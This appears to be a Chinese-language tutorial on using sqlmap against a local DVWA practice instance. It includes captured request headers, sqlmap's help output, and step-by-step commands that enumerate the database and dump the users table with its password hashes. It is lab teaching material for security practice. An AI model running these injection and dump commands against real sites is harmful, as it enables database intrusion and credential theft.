sqlmap（一）

Sqlmap是一款开源的命令行自动SQL注入工具。它能够对多种主流数据库进行扫描支持。

1.启动xampp

2.测试的网站是DVWA，security level设为medium，因为在sqlmap中安全等级设为low，medium，high都是一样的操作步骤。

3.启动Tamper Data(tools->tamper data)

4.测试一下

5.得到了request header

Host=127.0.0.1
User-Agent=Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.6.0
Accept=*/*
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
Referer=https://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit
Cookie=security=medium; PHPSESSID=hdunet1u4dhrgmjmmiemas0454

6.在终端用sqlmap

sqlmap的一些用法：

root@kali:~# sqlmap -h
Usage: python sqlmap [options]
 
Options:
  -h, –help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  –version             Show program’s version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)
 
  Target:
    At least one of these options has to be provided to define the
    target(s)
 
    -u URL, –url=URL   Target URL (e.g. ”http://www.site.com/vuln.php?id=1”)
    -g GOOGLEDORK       Process Google dork results as target URLs
 
  Request:
    These options can be used to specify how to connect to the target URL
 
    –data=DATA         Data string to be sent through POST
    –cookie=COOKIE     HTTP Cookie header value
    –random-agent      Use randomly selected HTTP User-Agent header value
    –proxy=PROXY       Use a proxy to connect to the target URL
    –tor               Use Tor anonymity network
    –check-tor         Check to see if Tor is used properly
 
  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts
 
    -p TESTPARAMETER    Testable parameter(s)
    –dbms=DBMS         Force back-end DBMS to this value
 
  Detection:
    These options can be used to customize the detection phase
 
    –level=LEVEL       Level of tests to perform (1-5, default 1)
    –risk=RISK         Risk of tests to perform (0-3, default 1)
 
  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques
 
    –technique=TECH    SQL injection techniques to use (default ”BEUSTQ”)
 
  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements
 
    -a, –all           Retrieve everything
    -b, –banner        Retrieve DBMS banner
    –current-user      Retrieve DBMS current user
    –current-db        Retrieve DBMS current database
    –passwords         Enumerate DBMS users password hashes
    –tables            Enumerate DBMS database tables
    –columns           Enumerate DBMS database table columns
    –schema            Enumerate DBMS schema
    –dump              Dump DBMS database table entries
    –dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
 
  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system
 
    –os-shell          Prompt for an interactive operating system shell
    –os-pwn            Prompt for an OOB shell, Meterpreter or VNC
 
  General:
    These options can be used to set some general working parameters
 
    –batch             Never ask for user input, use the default behaviour
    –flush-session     Flush session files for current target
 
  Miscellaneous:
    –sqlmap-shell      Prompt for an interactive sqlmap shell
    –wizard            Simple wizard interface for beginner users
 
[!] to see full list of options run with ’-hh’
root@kali:~# 

sqlmap -u ‘http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit’ –cookie=’security=medium; PHPSESSID=hdunet1u4dhrgmjmmiemas0454’ –dbs

sqlmap -u ‘http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit’ –cookie=’security=medium; PHPSESSID=hdunet1u4dhrgmjmmiemas0454’ -D dvwa –tables

sqlmap -u ‘http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit’ –cookie=’security=medium; PHPSESSID=hdunet1u4dhrgmjmmiemas0454’ -D dvwa -T users –columns

sqlmap -u ‘http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit’ –cookie=’security=medium; PHPSESSID=hdunet1u4dhrgmjmmiemas0454’ -D dvwa -T users –columns –dump

sqlmap的–dump选项，可以轻易的获得后台数据库的所有用户账户名和口令哈希。

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